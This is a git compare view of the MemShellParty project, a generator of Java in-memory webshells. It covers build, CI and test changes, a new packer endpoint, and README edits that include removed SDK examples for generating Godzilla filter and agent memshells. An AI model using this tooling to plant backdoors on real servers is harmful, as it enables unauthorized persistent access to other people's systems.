Compare commits

...
24 Commits
Author SHA1 Message Date
ReaJason 9fb0a3a377 chore: 2.8.0 2026-06-29 01:24:31 +08:00
ReaJason ff8f9512d4 docs: fix typo 2026-06-29 01:23:48 +08:00
ReaJason 8bb6857234 build: frontend build failed 2026-06-29 01:18:52 +08:00
ReaJason 86e242a4f1 revert: envFile warining 2026-06-29 00:28:34 +08:00
ReaJason 507c41b2c0 chore: upgrade build image 2026-06-29 00:28:31 +08:00
ReaJason bfad8cb921 fix: hessian gadget generate fail in jre25 2026-06-28 21:22:31 +08:00
ReaJason e21ec53cb6 refactor: rm useless code 2026-06-28 21:22:31 +08:00
ReaJason 7f669c840e fix: godzilla dubbo encryptor show 2026-06-28 21:22:31 +08:00
ReaJason e2600fd0ed build: envFile option is deprecated 2026-06-28 21:22:31 +08:00
ReaJason 7c0ae4b228 build: assets link error 2026-06-28 21:22:31 +08:00
ReaJason 862ad44a0a docs: update CHANGELOG 2026-06-28 21:22:31 +08:00
ReaJason a95e820e30 chore: update lib 2026-06-28 21:22:31 +08:00
ReaJason f19b1be9d4 feat: support select child packer 2026-06-28 21:22:31 +08:00
ReaJason a267048ed3 test: add dubbo integration-test 2026-06-28 21:22:31 +08:00
ReaJason fab736e175 docs: update CHANGELOG 2026-06-28 21:22:31 +08:00
ReaJason 6809132f00 test: add jenkins probe cases 2026-06-28 21:22:31 +08:00
ReaJason 404d62c6ef test: add Geronimo/Jetty 7.1 cases 2026-06-28 21:22:31 +08:00
ReaJason 416f2d5593 docs: update README 2026-06-28 21:22:31 +08:00
ReaJason fe54b610ed feat: boot use spring-boot 4.1.0 + jre25 2026-06-28 21:22:31 +08:00
ReaJason 0d096395f9 test: glassfish7 container not ready 2026-06-28 21:22:31 +08:00
ReaJason 845d5a48c9 chore: 2.8.0-SNAPSHOT 2026-06-28 21:22:31 +08:00
ReaJason 08200e0560 feat: support godzilla dubbo xor_base64 shell 2026-06-28 21:22:31 +08:00
ReaJason 1d98c24d16 test: add jenkins integration test case
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / jenkins (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struts2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2026-06-13 02:41:26 +08:00
su18 4d04aed4fb feat(jetty): add Winstone-Jetty and Geronimo-Jetty context discovery support 2026-06-13 02:38:25 +08:00
86 changed files with 3488 additions and 985 deletions
+19
View File
@@ -0,0 +1,19 @@
.git
.gradle
.idea
.vscode
.DS_Store
**/.DS_Store
**/.gradle
**/build
**/bin
web/.react-router
web/.source
web/build
web/node_modules
integration-test
tools
vul
@@ -9,6 +9,7 @@ on:
- './github/workflows/memshell-integration-test.yml' - './github/workflows/memshell-integration-test.yml'
- '**/memshell/**' - '**/memshell/**'
- '**/packer/**' - '**/packer/**'
- '**/dubbo/**'
concurrency: concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }} group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
@@ -50,6 +51,12 @@ jobs:
depend_tasks: "" depend_tasks: ""
- middleware: "struts2" - middleware: "struts2"
depend_tasks: ":vul:vul-struts2:war" depend_tasks: ":vul:vul-struts2:war"
- middleware: "jenkins"
depend_tasks: ""
- middleware: "geronimo"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "dubbo"
depend_tasks: ":vul:vul-dubbo:dubboProviderFatJars :tools:command:dubboClientClasspath"
runs-on: ubuntu-22.04 runs-on: ubuntu-22.04
name: ${{ matrix.cases.middleware }} name: ${{ matrix.cases.middleware }}
steps: steps:
@@ -69,10 +76,15 @@ jobs:
run: ./gradlew ${{ matrix.cases.depend_tasks }} run: ./gradlew ${{ matrix.cases.depend_tasks }}
- name: Integration Test with gradle - name: Integration Test with gradle
if: matrix.cases.middleware != 'dubbo'
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
- name: Dubbo Integration Test with gradle
if: matrix.cases.middleware == 'dubbo'
run: ./gradlew :integration-test:dubboContainerTest --info
- name: Export Integration Test Summary - name: Export Integration Test Summary
uses: mikepenz/action-junit-report@v5 uses: mikepenz/action-junit-report@v5
if: success() || failure() if: success() || failure()
with: with:
report_paths: '**/build/test-results/test/TEST-*.xml' report_paths: '**/build/test-results/*/TEST-*.xml'
+5 -5
View File
@@ -6,9 +6,9 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
rm -rf vul integration-test tools rm -rf vul integration-test tools
# https://hub.docker.com/r/oven/bun # https://hub.docker.com/r/oven/bun
FROM --platform=$BUILDPLATFORM oven/bun:1.3.11 AS frontend FROM --platform=$BUILDPLATFORM oven/bun:1.3.14 AS frontend
ARG ROUTE_ROOT_PATH="/" ARG ROUTE_ROOT_PATH=""
ARG CONTEXT_PATH="" ARG CONTEXT_PATH=""
WORKDIR /usr/src/web WORKDIR /usr/src/web
@@ -24,8 +24,8 @@ COPY --from=source /usr/src/web /usr/src/web
RUN bun run build RUN bun run build
# https://hub.docker.com/_/eclipse-temurin/tags?name=17. # https://hub.docker.com/_/eclipse-temurin/tags?name=21.
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.17_10-jdk-noble AS backend FROM --platform=$BUILDPLATFORM eclipse-temurin:21.0.11_10-jdk-noble AS backend
WORKDIR /usr/src WORKDIR /usr/src
@@ -35,7 +35,7 @@ COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/res
RUN ./gradlew :boot:bootjar -x test RUN ./gradlew :boot:bootjar -x test
FROM eclipse-temurin:17.0.17_10-jre-noble FROM eclipse-temurin:21.0.11_10-jre-noble
LABEL authors="ReaJason<[email protected]>" LABEL authors="ReaJason<[email protected]>"
+1 -1
View File
@@ -47,7 +47,7 @@ MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工
### 使用前必看 ### 使用前必看
[Java 服务简介.md](web/content/docs/server-intro.mdx),用于了解 MemShellParty [适配情况](https://party.mem.mk/ui/docs/compatibility),用于了解 MemShellParty
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。 中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为 探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
+1 -1
View File
@@ -1,4 +1,4 @@
FROM eclipse-temurin:17.0.17_10-jre-noble FROM eclipse-temurin:21.0.11_10-jre-noble
LABEL authors="ReaJason<[email protected]>" LABEL authors="ReaJason<[email protected]>"
+2 -5
View File
@@ -1,6 +1,6 @@
plugins { plugins {
id("java") id("java")
id("org.springframework.boot") version "3.5.8" id("org.springframework.boot") version "4.1.0"
id("io.spring.dependency-management") version "1.1.7" id("io.spring.dependency-management") version "1.1.7"
} }
@@ -31,11 +31,8 @@ dependencies {
exclude(group = "commons-logging", module = "commons-logging") exclude(group = "commons-logging", module = "commons-logging")
} }
implementation("org.springframework.boot:spring-boot-starter-thymeleaf") implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
implementation("org.springframework.boot:spring-boot-starter-web") { implementation("org.springframework.boot:spring-boot-starter-web")
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
}
implementation(libs.commons.lang3) implementation(libs.commons.lang3)
implementation("org.springframework.boot:spring-boot-starter-undertow")
compileOnly("org.projectlombok:lombok") compileOnly("org.projectlombok:lombok")
developmentOnly("org.springframework.boot:spring-boot-devtools") developmentOnly("org.springframework.boot:spring-boot-devtools")
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor") annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
@@ -1,6 +1,7 @@
package com.reajason.javaweb.boot.controller; package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.vo.CommandConfigVO; import com.reajason.javaweb.boot.vo.CommandConfigVO;
import com.reajason.javaweb.boot.vo.PackerVO;
import com.reajason.javaweb.memshell.ServerFactory; import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.server.AbstractServer; import com.reajason.javaweb.memshell.server.AbstractServer;
@@ -40,6 +41,21 @@ public class ConfigController {
.map(Packers::name).toList(); .map(Packers::name).toList();
} }
/**
* 返回父/子 packer 层级结构,供前端在「父模式 / 子模式」之间选择。
* 单独新增端点而非修改 {@link #getPackers()},以避免破坏旧版本前端对返回值的依赖。
*/
@RequestMapping("/packers/tree")
public List<PackerVO> getPackerTree() {
return Arrays.stream(Packers.values())
.filter(packers -> packers.getParentPacker() == null)
.map(packers -> new PackerVO(
packers.name(),
Packers.getPackersWithParent(packers.getInstance().getClass())
.stream().map(Packers::name).toList()))
.toList();
}
@RequestMapping @RequestMapping
public Map<String, Map<?, ?>> config() { public Map<String, Map<?, ?>> config() {
Map<String, Map<?, ?>> coreMap = new HashMap<>(16); Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
@@ -0,0 +1,10 @@
package com.reajason.javaweb.boot.vo;
import java.util.List;
/**
* @author ReaJason
* @since 2026/6/27
*/
public record PackerVO(String name, List<String> children) {
}
@@ -1,11 +1,12 @@
package com.reajason.javaweb.boot.controller; package com.reajason.javaweb.boot.controller;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired; import org.junit.jupiter.api.BeforeEach;
import org.springframework.boot.test.context.SpringBootTest; import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.test.web.client.TestRestTemplate; import org.springframework.boot.test.web.server.LocalServerPort;
import org.springframework.http.HttpStatus; import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity; import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestClient;
import java.util.List; import java.util.List;
import java.util.Map; import java.util.Map;
@@ -21,26 +22,44 @@ import static org.junit.jupiter.api.Assertions.assertNotNull;
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT) @SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
public class ConfigControllerIntegrationTest { public class ConfigControllerIntegrationTest {
@Autowired @LocalServerPort
private TestRestTemplate restTemplate; private int port;
private RestClient restClient;
@BeforeEach
void setUp() {
restClient = RestClient.builder()
.baseUrl("http://localhost:" + port)
.build();
}
@Test @Test
public void testConfigEndpoint() { public void testConfigEndpoint() {
ResponseEntity<Map> response = restTemplate.getForEntity("/api/config", Map.class); ResponseEntity<Map> response = restClient.get()
.uri("/api/config")
.retrieve()
.toEntity(Map.class);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody()); assertNotNull(response.getBody());
} }
@Test @Test
public void testConfigServersEndpoint() { public void testConfigServersEndpoint() {
ResponseEntity<Map> response = restTemplate.getForEntity("/api/config/servers", Map.class); ResponseEntity<Map> response = restClient.get()
.uri("/api/config/servers")
.retrieve()
.toEntity(Map.class);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody()); assertNotNull(response.getBody());
} }
@Test @Test
public void testConfigPackersEndpoint() { public void testConfigPackersEndpoint() {
ResponseEntity<List> response = restTemplate.getForEntity("/api/config/packers", List.class); ResponseEntity<List> response = restClient.get()
.uri("/api/config/packers")
.retrieve()
.toEntity(List.class);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody()); assertNotNull(response.getBody());
} }
@@ -8,12 +8,13 @@ import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest; import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.test.web.client.TestRestTemplate; import org.springframework.boot.test.web.server.LocalServerPort;
import org.springframework.http.HttpStatus; import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity; import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestClient;
import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull; import static org.junit.jupiter.api.Assertions.assertNotNull;
@@ -25,8 +26,17 @@ import static org.junit.jupiter.api.Assertions.assertNotNull;
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT) @SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
class MemShellGeneratorControllerTest { class MemShellGeneratorControllerTest {
@Autowired @LocalServerPort
TestRestTemplate restTemplate; private int port;
private RestClient restClient;
@BeforeEach
void setUp() {
restClient = RestClient.builder()
.baseUrl("http://localhost:" + port)
.build();
}
@Test @Test
void generateShell() { void generateShell() {
@@ -50,8 +60,11 @@ class MemShellGeneratorControllerTest {
shellToolConfigDTO.setHeaderName("User-Agent"); shellToolConfigDTO.setHeaderName("User-Agent");
shellToolConfigDTO.setHeaderValue("hello"); shellToolConfigDTO.setHeaderValue("hello");
request.setShellToolConfig(shellToolConfigDTO); request.setShellToolConfig(shellToolConfigDTO);
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity( ResponseEntity<MemShellGenerateResponse> response = restClient.post()
"/api/memshell/generate", request, MemShellGenerateResponse.class); .uri("/api/memshell/generate")
.body(request)
.retrieve()
.toEntity(MemShellGenerateResponse.class);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody()); assertNotNull(response.getBody());
} }
+1 -1
View File
@@ -9,7 +9,7 @@ idea {
} }
} }
version = "2.7.2" version = "2.8.0"
tasks.register("publishAllToMavenCentral") { tasks.register("publishAllToMavenCentral") {
dependsOn(":memshell-party-common:publishToMavenCentral") dependsOn(":memshell-party-common:publishToMavenCentral")
+34 -332
View File
@@ -1,11 +1,6 @@
<h1 align="center">MemShellParty</h1> <h1 align="center">MemShellParty</h1>
<p align="center">English | <a href="../README.md">中文</a><br></p> <p align="center"><a href="../README.md">中文</a> | English<br></p>
<div align="center">
[![ci-test](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/test.yaml?label=Test%20CI&branch=master&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
[![ci-release](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/release.yaml?label=Release%20CD&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
</div>
<div align="center"> <div align="center">
@@ -17,49 +12,54 @@
<div align="center"> <div align="center">
[![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell) [![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell)
[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.memshell.news) [![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.mem.mk)
</div> </div>
> [!WARNING] > [!WARNING]
> This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing purposes. Using this tool for any unauthorized network attacks or penetration testing activities is illegal, and users are solely responsible for any resulting legal consequences. > This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing. Using this tool for any unauthorized network attack or penetration test is illegal, and users must bear the corresponding legal responsibility.
> [!TIP] > [!TIP]
> As I primarily focus on security product development and lack extensive real-world combat experience, please feel free to raise an issue or join the [Telegram group](https://t.me/memshell) if you have questions about usage, implementation, or adaptation requests. Let's learn and exchange ideas together! > Since I mainly work on security product development and do not have practical offensive experience, please feel free to open an issue or join the Telegram group if you have questions about usage, implementation, or adaptation requests. You are welcome to learn and exchange ideas together.
MemShellParty is a self-hosted, visual platform for one-click generation of java memshell for common middleware and frameworks. It also aims to be a comprehensive learning platform for java memshell. In an era full of wheels, it's time to build the car and accelerate together! MemShellParty is a fast memshell generation tool focused on mainstream web middleware. It is designed to simplify the workflow of security researchers and red team members, improving offensive and defensive efficiency.
What you can learn or try from this project: <p align="center">
<img src="../assets/normal_memshell.png" alt="normal_memshell" width="24%">
1. Learn to write java memshell for common middleware and frameworks. <img src="../assets/agent_memshell.png" alt="agent_memshell" width="24%">
2. Learn to use [Testcontainers](https://testcontainers.com/) for Java application integration testing. <img src="../assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
3. Learn to use GitHub Actions for CI/CD, write CHANGELOG, and automate Release publications via CI. <img src="../assets/about_page.png" alt="about_page" width="24%">
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents. </p>
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
![normal_generator](../assets/normal_generator.png)
![agent_generator](../assets/agent_generator.png)
## Key Features ## Key Features
- Non-Intrusive: Generated memshell do not interfere with the normal traffic of the target middleware, even when multiple different shells are injected simultaneously. - **Non-intrusive**: Generated memshells do not affect normal target middleware traffic, even when more than a dozen different memshells are injected at the same time.
- High Availability: Comes with comprehensive [CI integration tests](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml) - **Strong compatibility**: Covers common middleware and frameworks in offensive and defensive scenarios, and supports JDK6 through JDK21.
- Minimal Size: Strives to minimize memshell size for efficient transfer. - **High availability**: A comprehensive automated test matrix has been built for all supported middleware and frameworks, ensuring each generated payload has high usability and stability while reducing uncertainty in real-world use.
- Strong Compatibility: Covers common middleware and frameworks encountered in offensive and defensive scenarios. - **Extremely lightweight**: Through deeply optimized bytecode generation strategies, MemShellParty greatly reduces memshell size compared with traditional tools such as JMG. Regular memshells are reduced by **30%**, and Agent memshells are reduced by **80%** using ASM.
- **One-click simplicity**: Built-in payload generation is provided for common vulnerabilities such as expression injection, deserialization, and SSTI. The system automatically configures Java module restriction bypasses and dynamically generates the optimal attack payload, enabling one-click generation for common vulnerability payloads.
- **High flexibility**: Natively supports common memshell capabilities such as Godzilla, Behinder, AntSword, Suo5, and NeoreGeorg. With the highly flexible custom memshell upload feature, any customized payload can be integrated into the MemShellParty generation system to build an attack platform that best fits your tactical needs.
## Quick Start ## Quick Start
### Online Preview ### Read Before Use
> Suitable for users who just want to try it out. Please use with caution on public services, as generated memshell might potentially contain backdoors if the service is compromised. [Compatibility](https://party.mem.mk/ui/docs/compatibility) helps you understand MemShellParty's adaptation status for each service, so you can choose the right service type for different applications.
Access directly at [https://party.memshell.news](https://party.memshell.news). The latest image is automatically deployed with each release. The probe memshell maps detected service types one by one. The detected service type is the service type that can be used to generate memshells. This is not necessarily the middleware type. For example, Apusic10 is detected as GlassFish because it is developed based on GlassFish.
### Online Site
> Only for users who want to try it out. Please use caution with other publicly exposed services, as generated memshells may contain backdoors.
You can access the master branch at [https://party.mem.mk](https://party.mem.mk). The latest image is automatically deployed for each release.
For features under development, you can try the dev branch early at [https://dev-party.mem.mk](https://dev-party.mem.mk).
### Local Deployment (Recommended) ### Local Deployment (Recommended)
> Ideal for quick deployment on internal networks or local machines. Using Docker is fast and convenient. > Suitable for quick internal network or local deployment. Starting the service directly with Docker is fast and convenient.
After deploying with Docker, access the service at http://127.0.0.1:8080 After deploying with Docker, access http://127.0.0.1:8080
```bash ```bash
# Pull the latest image from Docker Hub # Pull the latest image from Docker Hub
@@ -68,312 +68,14 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason
# Pull the latest image from Github Container Registry # Pull the latest image from Github Container Registry
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest
# If network quality is poor, use the Nanjing University Github Container Registry mirror # Poor network quality? Use the Nanjing University Github Container Registry mirror
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
``` ```
The image is stateless. To update to the latest version, simply remove the old container and create a new one: ## Special Thanks
```bash
# Remove the previously deployed container
docker rm -f memshell-party
# Use the previous deployment command to redeploy (it will automatically pull the latest image)
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
```
### SDK Integration into Existing Tools
> Suitable for integrating memshell payload generation into your existing tools. Supports JDK 8 and above (since v1.7.0).
1. Add the dependency using Maven or Gradle:
```xml
<!-- Maven Repo-->
<dependency>
<groupId>io.github.reajason</groupId>
<artifactId>generator</artifactId>
<version>1.7.0</version>
</dependency>
```
```groovy
// Gradle Repo
implementation 'io.github.reajason:generator:1.7.0'
```
2. Example1: Generate a Tomcat Godzilla Filter memory shell:
```java
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.FILTER)
.shrink(true) // Shrink bytecode size
.debug(false) // Disable debug mode
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // Custom urlPattern, defaults to /*
// .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
// .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("Injector Class Name: "+result.getInjectorClassName());
System.out.println("MemShell Class Name: "+result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
System.out.println("Base64 Packed: "+Packers.Base64.getInstance().pack(result));
System.out.println("ScriptEngine Packed: "+Packers.ScriptEngine.getInstance().pack(result));
```
3. Example2: Generate a Tomcat Godzilla AgentFilterChain memory shell (Agent type):
```java
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.AGENT_FILTER_CHAIN)
.shrink(true) // Shrink bytecode size
.debug(false) // Disable debug mode
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // Custom urlPattern, defaults to /*
// .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
// .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("Injector Class Name: " + result.getInjectorClassName());
System.out.println("MemShell Class Name: " + result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
Files.write(Paths.get("agent.jar"), agentJarBytes);
```
4. For a unified generation interface example, refer to [GeneratorController.java](../boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java)
## Compatibility
Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
### Middleware and Frameworks
| Tomcat5 ~ 11 | Jetty6 ~ 11 | GlassFish3 ~ 7 | Payara5 ~ 6 |
|----------------------|------------------------|----------------------|----------------------|
| Servlet | Servlet | Filter | Filter |
| Filter | Filter | Listener | Listener |
| Listener | Listener | Valve | Valve |
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
| ProxyValve | | | |
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
| ContextValve - Agent | | | |
| Resin3 ~ 4 | SpringMVC | SpringWebFlux | XXL-JOB |
|---------------------|--------------------------|-----------------|--------------|
| Servlet | Interceptor | WebFilter | NettyHandler |
| Filter | ControllerHandler | HandlerMethod | |
| Listener | FrameworkServlet - Agent | HandlerFunction | |
| FilterChain - Agent | | NettyHandler | |
| JBossAS4 ~ 7 | JBossEAP6 ~ 7 | WildFly9 ~ 30 | Undertow |
|----------------------|----------------------------|------------------------|------------------------|
| Filter | Filter | Servlet | Servlet |
| Listener | Listener | Filter | Filter |
| Valve | Valve(6) | Listener | Listener |
| ProxyValve | | | |
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
| ContextValve - Agent | ContextValve - Agent (6) | | |
| | ServletHandler - Agent (7) | | |
| WebSphere7 ~ 9 | WebLogic 10.3.6 ~ 14 |
|-----------------------|-------------------------|
| Servlet | Servlet |
| Filter | Filter |
| Listener | Listener |
| FilterManager - Agent | ServletContext - Agent |
| BES9.5.x | TongWeb6 ~ 8 | InforSuite AS 9 ~ 10 |
|----------------------|----------------------|------------------------|
| Filter | Filter | Filter |
| Listener | Listener | Listener |
| Valve | Valve | Valve |
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
| Apusic AS 9 ~ 10 | Primeton6.5 |
|---------------------|----------------------|
| Servlet | Filter |
| Filter | Listener |
| Listener | Valve |
| FilterChain - Agent | FilterChain - Agent |
| | ContextValve - Agent |
### MemShell Functionality
- [x] [Godzilla](https://github.com/BeichenDream/Godzilla)
- [x] [Behinder](https://github.com/rebeyond/Behinder)
- [x] Command Execution
- [x] [Suo5](https://github.com/zema1/suo5)
- [x] [AntSword](https://github.com/AntSwordProject/antSword)
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
- [x] Custom
### Packaging Methods
- [x] BASE64
- [x] GZIP BASE64
- [x] JSP
- [x] JSPX
- [x] JAR
- [x] BCEL
- [x] Built-in ScriptEngine, Rhino ScriptEngine
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
- [x] Velocity、Freemarker、JinJava
- [x] Native DeserializationCB and CC
- [x] Agent
- [x] XXL-JOB Executor
- [x] Hessian, Hessian2 Deserialization (XSLT gadget chain)
- [ ] JNDI
- [ ] JDBC Connection
- [ ] Other common deserialization
## Local Build
### Building from Source Code
> Suitable for developers who want to modify the code. Clone the repository locally and build the frontend and backend projects.
First, you need to download and install [bun](https://bun.sh/), a tool for building the frontend service.
1. Clone the project using Git:
```bash
git clone https://github.com/ReaJason/MemShellParty.git
```
2. Build the frontend project. After the build finishes, static resources will be automatically moved to the Spring Boot module.
```bash
cd MemShellParty/web
bun install
bun run build
```
3. Build the backend project. Ensure you are using a JDK 17 environment.
```bash
cd MemShellParty/boot
./gradlew :boot:bootjar -x test
```
After building, you can directly run the JAR file located at `MemShellParty/boot/build/libs/boot-*.jar` (the exact version might vary).
```bash
cd MemShellParty/boot
java -jar \
--add-opens=java.base/java.util=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
build/libs/boot-1.0.0.jar
```
Alternatively, you can build a Docker container from the built artifacts:
```bash
cd MemShellParty/boot
docker buildx build -t memshell-party:latest . --load
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
```
### Building with Dockerfile Directly
> Suitable for users who want to build with custom access paths, for example, when using NGINX as a reverse proxy ([#44](https://github.com/ReaJason/MemShellParty/issues/44)).
Download the [Dockerfile](../Dockerfile) from the project root.
- VERSION: Version information (arbitrary, suggest using the latest tag; used for frontend display).
- ROUTE_ROOT_PATH: Frontend root route configuration (e.g., /memshell-party).
- CONTEXT_PATH: Backend access prefix (e.g., /memshell-party).
```bash
# Basic build (defaults to root path "/")
docker buildx build \
--build-arg VERSION=1.7.0 \
-t memshell-party:latest . --load
# Run the basic image, access at http://127.0.0.1:8080
docker run -it -d -p 8080:8080 memshell-party:latest
# Build with custom access path (e.g., /memshell-party)
docker buildx build \
--build-arg VERSION=1.7.0 \
--build-arg ROUTE_ROOT_PATH=/memshell-party \
--build-arg CONTEXT_PATH=/memshell-party \
-t memshell-party:latest . --load
# Run the custom path image, access at http://127.0.0.1:8080/memshell-party
docker run -it -p 8080:8080 \
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
memshell-party:latest
```
